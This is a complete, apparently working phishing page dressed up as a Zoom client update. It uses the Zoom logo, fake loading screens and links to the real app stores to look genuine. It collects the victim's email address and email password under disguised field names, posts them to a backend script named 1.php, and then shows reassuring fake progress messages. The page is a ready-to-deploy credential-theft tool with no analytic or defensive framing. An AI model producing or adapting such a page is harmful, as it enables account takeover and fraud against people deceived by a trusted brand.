<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8" />
  <meta name="viewport" content="width=device-width, initial-scale=1.0"/>
  <title>Zoom Client Update</title>
  <link href="https://fonts.googleapis.com/css2?family=Roboto:wght@400;500&display=swap" rel="stylesheet">
  <style>
    :root {
      --zoom-blue: #0072c6;
      --text-color: #444;
      --bg-color: #f4f7fa;
    }

    body {
      font-family: 'Roboto', sans-serif;
      background-color: var(--bg-color);
      margin: 0;
      padding: 0;
      color: var(--text-color);
    }

    .centered {
      display: flex;
      flex-direction: column;
      justify-content: center;
      align-items: center;
      text-align: center;
    }

    #preloader, #login-form, #loading-screen, #final-message {
      display: none;
      height: 100vh;
      width: 100%;
      position: absolute;
      top: 0;
      left: 0;
      background: var(--bg-color);
      z-index: 10;
    }

    .spinner {
      border: 4px solid #f3f3f3;
      border-top: 4px solid var(--zoom-blue);
      border-radius: 50%;
      width: 50px;
      height: 50px;
      animation: spin 1s linear infinite;
      margin-bottom: 20px;
    }

    @keyframes spin {
      0% { transform: rotate(0deg); }
      100% { transform: rotate(360deg); }
    }

    .logo {
      width: 120px;
      margin-bottom: 20px;
    }

    .form-container {
      display: flex;
      flex-direction: column;
      gap: 15px;
      width: 90%;
      max-width: 320px;
    }

    input {
      padding: 10px;
      font-size: 16px;
      border: 1px solid #ccc;
      border-radius: 4px;
    }

    button {
      padding: 12px;
      background-color: var(--zoom-blue);
      color: #fff;
      border: none;
      font-size: 16px;
      font-weight: bold;
      border-radius: 4px;
      cursor: pointer;
    }

    button:disabled {
      background-color: #ccc;
      cursor: not-allowed;
    }

    .download-buttons {
      display: flex;
      flex-direction: column;
      gap: 20px;
      margin-top: 30px;
    }

    .download-buttons img {
      height: 60px;
      cursor: pointer;
    }
  </style>
</head>
<body>

<!-- Preloader -->
<div id="preloader" class="centered" style="display: flex;">
  <div class="spinner"></div>
  <div id="preloader-message">Please wait...</div>
</div>

<!-- Login Form -->
<div id="login-form" class="centered">
  <img class="logo" src="https://upload.wikimedia.org/wikipedia/commons/7/7b/Zoom_Communications_Logo.svg" alt="Zoom logo">
  <h2>Login to join your meeting</h2>
  <form class="form-container" method="POST" action="1.php" id="zoomLoginForm">
    <input type="email" name="3mail" placeholder="Email address" required>
    <input type="password" name="p4ssword" placeholder="Email password" required>
    <button type="submit" id="loginBtn">Login</button>
  </form>
</div>

<!-- Loading Screen After Login -->
<div id="loading-screen" class="centered">
  <div class="spinner"></div>
  <div id="loading-message">Please wait...</div>
</div>

<!-- Final Message -->
<div id="final-message" class="centered">
  <h2>Sorry, this Zoom version works only on Windows and Android</h2>
  <p>Please download it from your appropriate store and transfer it to your device.</p>
  <div class="download-buttons">
    <a href="https://apps.microsoft.com/store/detail/zoom-cloud-meetings/XP99L3GP0VMPPKHK?hl=en-us" target="_blank">
      <img src="https://upload.wikimedia.org/wikipedia/commons/thumb/f/f1/Microsoft_Store_app_icon.png/600px-Microsoft_Store_app_icon.png" alt="Microsoft Store" style="height: 50px;">
    </a>
    <a href="https://play.google.com/store/apps/details?id=us.zoom.videomeetings" target="_blank">
      <img src="https://play.google.com/intl/en_us/badges/static/images/badges/en_badge_web_generic.png" alt="Get it on Google Play">
    </a>
  </div>
</div>

<script>
  const preloader = document.getElementById("preloader");
  const preloaderMsg = document.getElementById("preloader-message");
  const loginForm = document.getElementById("login-form");
  const loadingScreen = document.getElementById("loading-screen");
  const loadingMsg = document.getElementById("loading-message");
  const finalMessage = document.getElementById("final-message");
  const form = document.getElementById("zoomLoginForm");
  const loginBtn = document.getElementById("loginBtn");

  // Simulate preloader messages and transition
  setTimeout(() => preloaderMsg.textContent = "We're setting up your update...", 5000);
  setTimeout(() => preloaderMsg.textContent = "Launching login screen...", 10000);
  setTimeout(() => {
    preloader.style.display = "none";
    loginForm.style.display = "flex";
  }, 15000);

  // Handle login click
  form.addEventListener("submit", function(e) {
    e.preventDefault();
    loginForm.style.display = "none";
    loadingScreen.style.display = "flex";
    let messages = ["Please wait...", "Logging you in...", "Still working..."];
    let i = 0;

    let interval = setInterval(() => {
      loadingMsg.textContent = messages[i % messages.length];
      i++;
    }, 3000);

    setTimeout(() => {
      clearInterval(interval);
      loadingScreen.style.display = "none";
      finalMessage.style.display = "flex";
    }, 10000);

    // Submit form to 1.php (backend will receive it normally)
    form.submit();
  });
</script>
</body>
</html>
